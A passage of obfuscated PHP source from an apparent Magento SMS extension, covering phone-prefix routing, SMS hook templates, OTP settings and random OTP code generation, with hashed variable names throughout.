$this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['maps']; else $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['maps'] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 = Mage::getSingleton('magesms/maps')->getCollection(); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0->count()) { if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749db4e103fdfd1ed6cc442d5e4b10b704780717812b = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd.$ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2; $ibcdf76f8c9ddc330c79f805116a8bb146c43749da272895aa0a96c7311ddc14cd99cfde9b3e11fa0 = strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749db4e103fdfd1ed6cc442d5e4b10b704780717812b); foreach ($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { if (preg_match("/^".$ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getArea()."/", $ibcdf76f8c9ddc330c79f805116a8bb146c43749db4e103fdfd1ed6cc442d5e4b10b704780717812b, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d45e0dbda03c5e1b049126d29f809da95d0e0aa03)) { $i7492a7ab99a6ff1e0ae253366480ecb40a550224 = substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749db4e103fdfd1ed6cc442d5e4b10b704780717812b, 0, strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getArea())); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dc155ac0a2e7d522b71a8f6aae45a2917bd596596 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getNumber(); if (($ibcdf76f8c9ddc330c79f805116a8bb146c43749da272895aa0a96c7311ddc14cd99cfde9b3e11fa0-strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getArea())) == $ibcdf76f8c9ddc330c79f805116a8bb146c43749dc155ac0a2e7d522b71a8f6aae45a2917bd596596) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749db40be13647f8bcb177e647eb770e6ac08b117290 = 1; $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749db4e103fdfd1ed6cc442d5e4b10b704780717812b; break; } } } } if (!$ibcdf76f8c9ddc330c79f805116a8bb146c43749db40be13647f8bcb177e647eb770e6ac08b117290) { foreach ($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { if (preg_match("/^".$ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getArea()."/", $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d45e0dbda03c5e1b049126d29f809da95d0e0aa03)) { $i7492a7ab99a6ff1e0ae253366480ecb40a550224 = substr($ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, 0, strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getArea())); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dc155ac0a2e7d522b71a8f6aae45a2917bd596596 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getNumber(); if (($ibcdf76f8c9ddc330c79f805116a8bb146c43749db8c2593511e733deb36fb6bc932a747fcf3b754c-strlen($ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getArea())) == $ibcdf76f8c9ddc330c79f805116a8bb146c43749dc155ac0a2e7d522b71a8f6aae45a2917bd596596) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dbad5149cd536c7e1f814c7b3874463985a5fc9e0 = 1; continue; } } } } } if(!$ibcdf76f8c9ddc330c79f805116a8bb146c43749dbad5149cd536c7e1f814c7b3874463985a5fc9e0 && !$ibcdf76f8c9ddc330c79f805116a8bb146c43749db40be13647f8bcb177e647eb770e6ac08b117290) $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd.$ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2; elseif (($ibcdf76f8c9ddc330c79f805116a8bb146c43749dbad5149cd536c7e1f814c7b3874463985a5fc9e0 || $ibcdf76f8c9ddc330c79f805116a8bb146c43749db40be13647f8bcb177e647eb770e6ac08b117290) && $i7492a7ab99a6ff1e0ae253366480ecb40a550224) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd = $i7492a7ab99a6ff1e0ae253366480ecb40a550224; if (!$ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd && $i7492a7ab99a6ff1e0ae253366480ecb40a550224) $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd = $i7492a7ab99a6ff1e0ae253366480ecb40a550224; $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd96ad83fb93ea5189e8edb176831948b382810df = array( 'mobile' => $ibcdf76f8c9ddc330c79f805116a8bb146c43749daab7d0929a7000dca6467ef8cddbf22298ab81f2, 'prefix' => $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd, 'isms' => '', 'sendertype' => '', 'senderID' => '' ); if (isset($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['routes_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a.'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd])) $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['routes_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a.'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd]; else $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['routes_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a.'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 = Mage::getSingleton('magesms/routes')->getCollection() ->addFieldToFilter('area', $ibcdf76f8c9ddc330c79f805116a8bb146c43749df0177bfe4bf22cfbb3da2ac06eca557829f0a4cd) ->addFieldToFilter('type', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a); if (!is_null($ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66)) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d898347c1def9d4effdd15deb4483c4b4a4aa8ab7 = Mage::getModel('core/store')->load($ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66)->getGroup()->getId(); foreach ($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd567d29153b9150b8add34bc81058cd5432e46a0 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd96ad83fb93ea5189e8edb176831948b382810df['isms'] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d['isms']; $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd96ad83fb93ea5189e8edb176831948b382810df['sendertype'] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d['sendertype']; $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd96ad83fb93ea5189e8edb176831948b382810df['senderID'] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d['senderID']; if (!is_null($ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66)) { if (isset($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['routes-alternative_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId().'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d898347c1def9d4effdd15deb4483c4b4a4aa8ab7])) $ida3b491904fb073f446bf820cd55a0ff69b347d1 = $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['routes-alternative_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId().'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d898347c1def9d4effdd15deb4483c4b4a4aa8ab7]; else $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['routes-alternative_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId().'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d898347c1def9d4effdd15deb4483c4b4a4aa8ab7] = $ida3b491904fb073f446bf820cd55a0ff69b347d1 = Mage::getSingleton('magesms/routes_alternative')->getCollection() ->addFieldToFilter('route_id', $ibcdf76f8c9ddc330c79f805116a8bb146c43749debe3a16a01f87f9a4ebbb9731163db3e3e64cc3d->getId()) ->addFieldToFilter('store_group_id', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d898347c1def9d4effdd15deb4483c4b4a4aa8ab7); if ($ida3b491904fb073f446bf820cd55a0ff69b347d1->count()) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd96ad83fb93ea5189e8edb176831948b382810df['senderID'] = $ida3b491904fb073f446bf820cd55a0ff69b347d1->getFirstItem()->getTextsender(); } } } return $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd96ad83fb93ea5189e8edb176831948b382810df; } public function getHooks($i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7137e40370cf1c5ccf937060891613788203e2d6 = 'default', $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 = false) { if (isset(Topefekt_Magesms_Model_Hooks::$groups[$i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc]) && $i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc != 'order_status') { $if739aceffec69fa2733946a3d319defaa354082d = Mage::getSingleton('magesms/hooks')->getCollection() ->addFieldToFilter('lang', Mage::getStoreConfig('magesms/template/language')) ->addFieldToFilter('owner', array('neq'=>1)) ->addFieldToFilter('group', Topefekt_Magesms_Model_Hooks::$groups[$i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc]); if (is_array($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) && $i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2) { foreach ($i2d8fb6b6f17ec9aa17899ea311cc26bc493cd9a2 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d2bd9743336318d0e14be0600c9129730279505dd=>$iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a) { $if739aceffec69fa2733946a3d319defaa354082d->addFieldToFilter($ibcdf76f8c9ddc330c79f805116a8bb146c43749d2bd9743336318d0e14be0600c9129730279505dd, $iba20acc78644ac0e9cd48ea35d8ad03b058f6b5a); } } else { $if739aceffec69fa2733946a3d319defaa354082d->addFieldToFilter('system', 1); } } elseif (isset(Topefekt_Magesms_Model_Hooks::$groups[$i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc])) { $i42ee48f418943c9662de0976069476c7dc8f620d = Mage::getSingleton('magesms/hooks')->getCollection() ->addFieldToFilter('lang', Mage::getStoreConfig('magesms/template/language')) ->addFieldToFilter('owner', array('neq'=>1)) ->addFieldToFilter('system', 1) ->addFieldToFilter('group', Topefekt_Magesms_Model_Hooks::$groups[$i45529c33bd7aa0ebcc4b6e41bd3e02f2889252fc]) ->getFirstItem(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749dd09e842bda9623afdb1b69812abe0b86eaf039c9 = Mage::getSingleton('sales/order_status')->getCollection(); $if739aceffec69fa2733946a3d319defaa354082d = array(); foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749dd09e842bda9623afdb1b69812abe0b86eaf039c9 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d712821c3a64ae4a252ded9f3deaaddb6e942d985) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05 = clone($i42ee48f418943c9662de0976069476c7dc8f620d); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0bd865ed0ae1ae72e839b8c033a4c0f7d84122b5 = Mage::helper('sales')->__($ibcdf76f8c9ddc330c79f805116a8bb146c43749d712821c3a64ae4a252ded9f3deaaddb6e942d985->getLabel()); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05->setTemplate(str_replace('{{order_status_name}}', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0bd865ed0ae1ae72e839b8c033a4c0f7d84122b5, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05->getTemplate())); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05->setTemplate2(str_replace('{{order_status_name}}', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0bd865ed0ae1ae72e839b8c033a4c0f7d84122b5, $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05->getTemplate2())); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da0b4e748647d3e52f7c9741d5f659711a2db6dc5 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d712821c3a64ae4a252ded9f3deaaddb6e942d985->getStatus(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da0b4e748647d3e52f7c9741d5f659711a2db6dc5 = preg_replace('/[^a-zA-Z0-9_]/', '_', $ibcdf76f8c9ddc330c79f805116a8bb146c43749da0b4e748647d3e52f7c9741d5f659711a2db6dc5); $ibcdf76f8c9ddc330c79f805116a8bb146c43749da0b4e748647d3e52f7c9741d5f659711a2db6dc5 = preg_replace('/^([^a-zA-Z])/', 'x$1', $ibcdf76f8c9ddc330c79f805116a8bb146c43749da0b4e748647d3e52f7c9741d5f659711a2db6dc5); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05->setName('orderStatus'.uc_words($ibcdf76f8c9ddc330c79f805116a8bb146c43749da0b4e748647d3e52f7c9741d5f659711a2db6dc5, '')); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05->setStatusName($ibcdf76f8c9ddc330c79f805116a8bb146c43749d712821c3a64ae4a252ded9f3deaaddb6e942d985->getLabel()); $if739aceffec69fa2733946a3d319defaa354082d[] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d35f7502d936f0fb94b528aa6d4fbaca3f779fa05; } } else { $i42ee48f418943c9662de0976069476c7dc8f620d = Mage::getModel('magesms/hooks'); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a == 'customers') Mage::dispatchEvent('topefekt_magesms_customersms_hook', array('hook' => $i42ee48f418943c9662de0976069476c7dc8f620d, 'mutation' => $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7137e40370cf1c5ccf937060891613788203e2d6)); else Mage::dispatchEvent('topefekt_magesms_adminsms_hook', array('hook' => $i42ee48f418943c9662de0976069476c7dc8f620d)); } $ia61712c27ea241bd7a543dc2b02ea572274d0322 = array(); foreach($if739aceffec69fa2733946a3d319defaa354082d as $i42ee48f418943c9662de0976069476c7dc8f620d) { $ia61712c27ea241bd7a543dc2b02ea572274d0322[$i42ee48f418943c9662de0976069476c7dc8f620d->getName()] = $i42ee48f418943c9662de0976069476c7dc8f620d; } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e = Mage::getSingleton('magesms/hooks_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a)->getCollection(); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a == 'customers') $ibcdf76f8c9ddc330c79f805116a8bb146c43749d1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e->addFieldToFilter('mutation', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7137e40370cf1c5ccf937060891613788203e2d6); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e->count()) { foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749d1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4df015c4c10bbcf1d38137f3659b01221d2dc076) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039 = $ibcdf76f8c9ddc330c79f805116a8bb146c43749d4df015c4c10bbcf1d38137f3659b01221d2dc076->getName(); if (isset($ia61712c27ea241bd7a543dc2b02ea572274d0322[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039])) { $ia61712c27ea241bd7a543dc2b02ea572274d0322[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]->setSmstext($ibcdf76f8c9ddc330c79f805116a8bb146c43749d4df015c4c10bbcf1d38137f3659b01221d2dc076->getSmstext()); if ($ibcdf76f8c9ddc330c79f805116a8bb146c43749d30f20aafde612a957f7f966cb5b85e35782bc88a == 'admins') { $ia61712c27ea241bd7a543dc2b02ea572274d0322[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039][$ibcdf76f8c9ddc330c79f805116a8bb146c43749d4df015c4c10bbcf1d38137f3659b01221d2dc076->getAdminId().'_'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749d4df015c4c10bbcf1d38137f3659b01221d2dc076->getStoreGroupId()] = 1; $ia61712c27ea241bd7a543dc2b02ea572274d0322[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]->setActive(1); } else { $ia61712c27ea241bd7a543dc2b02ea572274d0322[$ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039]->setActive($ibcdf76f8c9ddc330c79f805116a8bb146c43749d4df015c4c10bbcf1d38137f3659b01221d2dc076->getActive()); } } } } return $ia61712c27ea241bd7a543dc2b02ea572274d0322; } public function getOtpCustomerType() { if (isset($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['OtpCustomerType'])) return $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['OtpCustomerType']; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = Mage::app()->getStore()->getStoreId(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7137e40370cf1c5ccf937060891613788203e2d6 = Mage::getStoreConfig('general/locale/code', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $ibcdf76f8c9ddc330c79f805116a8bb146c43749defc930e6dfdf3023610ed7d663c73d176a7544e0 = $this->getHooks('otp', 'customers', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7137e40370cf1c5ccf937060891613788203e2d6, array('name' => 'customerRegisterOTP')); if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749defc930e6dfdf3023610ed7d663c73d176a7544e0['customerRegisterOTP'])) return $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['OtpCustomerType'] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749defc930e6dfdf3023610ed7d663c73d176a7544e0['customerRegisterOTP']->getActive(); return $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['OtpCustomerType'] = 0; } public function getOtpOrderType() { if (isset($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['OtpOrderType'])) return $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['OtpOrderType']; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = Mage::app()->getStore()->getStoreId(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7137e40370cf1c5ccf937060891613788203e2d6 = Mage::getStoreConfig('general/locale/code', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $ibcdf76f8c9ddc330c79f805116a8bb146c43749defc930e6dfdf3023610ed7d663c73d176a7544e0 = $this->getHooks('otp', 'customers', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7137e40370cf1c5ccf937060891613788203e2d6, array('name' => 'newOrderOTP')); if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749defc930e6dfdf3023610ed7d663c73d176a7544e0['newOrderOTP'])) return $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['OtpOrderType'] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749defc930e6dfdf3023610ed7d663c73d176a7544e0['newOrderOTP']->getActive(); return $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['OtpOrderType'] = 0; } public function getOtpCheckoutCustomerType() { if (isset($this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['OtpCheckoutCustomerType'])) return $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['OtpCheckoutCustomerType']; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = Mage::app()->getStore()->getStoreId(); $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7137e40370cf1c5ccf937060891613788203e2d6 = Mage::getStoreConfig('general/locale/code', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $ibcdf76f8c9ddc330c79f805116a8bb146c43749defc930e6dfdf3023610ed7d663c73d176a7544e0 = $this->getHooks('otp', 'customers', $ibcdf76f8c9ddc330c79f805116a8bb146c43749d7137e40370cf1c5ccf937060891613788203e2d6, array('name' => 'checkoutCustomerOTP')); if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749defc930e6dfdf3023610ed7d663c73d176a7544e0['checkoutCustomerOTP'])) return $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['OtpCheckoutCustomerType'] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749defc930e6dfdf3023610ed7d663c73d176a7544e0['checkoutCustomerOTP']->getActive(); return $this->v148194b5b9cc653ce2e35e9709e441dc6fd4123a['OtpCheckoutCustomerType'] = 0; } public function getOtpRandCode() { if (Mage::getStoreConfig('magesms/smsvalid/code_type')) { return Mage::helper('core')->getRandomString((int)Mage::getStoreConfig('magesms/smsvalid/code_length'), Mage_Core_Helper_Data::CHARS_LOWERS); } else { return Mage::helper('core')->getRandomString((int)Mage::getStoreConfig('magesms/smsvalid/code_length'), Mage_Core_Helper_Data::CHARS_DIGITS);; } } public function hookVariablesJS($ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa) { if (preg_match_all('/{(.*?)}/', $ibcdf76f8c9ddc330c79f805116a8bb146c43749ddfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $ibcdf76f8c9ddc330c79f805116a8bb146c43749da00c63b7b8f0d76f361b9bd281e5073cc0d0aa3e)) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0933475b5bd80561a9f50282fd9eb0b8345cec4b = array(); foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749da00c63b7b8f0d76f361b9bd281e5073cc0d0aa3e[1] as $ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0933475b5bd80561a9f50282fd9eb0b8345cec4b[$ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05] = '{'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05.'}'; } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d322d20c6b1eb01ecb5d5801e003969fcc1f407a9 = Mage::getSingleton('magesms/variables')->getCollection() ->addFieldToFilter('name', array('in'=>array(array_keys($ibcdf76f8c9ddc330c79f805116a8bb146c43749d0933475b5bd80561a9f50282fd9eb0b8345cec4b)))); foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749d322d20c6b1eb01ecb5d5801e003969fcc1f407a9 as $ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05) { $ibcdf76f8c9ddc330c79f805116a8bb146c43749d0933475b5bd80561a9f50282fd9eb0b8345cec4b[$ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05->getName()] = $ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05->getTemplate() ? Mage::helper('magesms')->__($ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05->getTemplate()) : $ibcdf76f8c9ddc330c79f805116a8bb146c43749debd691e534c6cf2e84cf8a88790a5271154fca05->getTemplate(); } $ibcdf76f8c9ddc330c79f805116a8bb146c43749d5528ed14b056e3debe4695094269de3a98f76fe7 = ''; foreach($ibcdf76f8c9ddc330c79f805116a8bb146c43749d0933475b5bd80561a9f50282fd9eb0b8345cec4b as $ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039=>$ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89) { if (!empty($ibcdf76f8c9ddc330c79f805116a8bb146c43749d5528ed14b056e3debe4695094269de3a98f76fe7)) $ibcdf76f8c9ddc330c79f805116a8bb146c43749d5528ed14b056e3debe4695094269de3a98f76fe7 .= ', '; $ibcdf76f8c9ddc330c79f805116a8bb146c43749d5528ed14b056e3debe4695094269de3a98f76fe7 .= $ibcdf76f8c9ddc330c79f805116a8bb146c43749d670253c23c6fcba76bc4256a88fdd8fbc1041039.': "'.$ibcdf76f8c9ddc330c79f805116a8bb146c43749df2eee0665f163a28f4adcfe84e3fc666bf1bcd89.'"'; } return $ibcdf76f8c9ddc330c79f805116a8bb146c43749d5528ed14b056e3debe4695094269de3a98f76fe7; } } public function filterDates($if66f788c75229f5f3ea1a622ab4dee258553c789, $ic78bc645a0f45c428f6551163ed2dce47dd289ee) { if (empty($ic78bc645a0f45c428f6551163ed2dce47dd289ee)) { return $if66f788c75229f5f3ea1a622ab4dee258553c789; } $i25d716f44b9a21507a214e968cc96805785eff97 = new Zend_Filter_LocalizedToNormalized(array( 'date_format' => Mage::app()->getLocale()->getDateFormat(Mage_Core_Model_Locale::FORMAT_TYPE_SHORT) )); $id1da71c6f00d9b85058894facc6aae99ed82822c = new Zend_Filter_NormalizedToLocalized(array( 'date_format' => Varien_Date::DATE_INTERNAL_FORMAT )); foreach ($ic78bc645a0f45c428f6551163ed2dce47dd289ee as $i36424a86007474ffc648c582cbfca240cda58c1e) { if (array_key_exists($i36424a86007474ffc648c582cbfca240cda58c1e, $if66f788c75229f5f3ea1a622ab4dee258553c789) && !empty($i36424a86007474ffc648c582cbfca240cda58c1e)) { $if66f788c75229f5f3ea1a622ab4dee258553c789[$i36424a86007474ffc648c582cbfca240cda58c1e] = 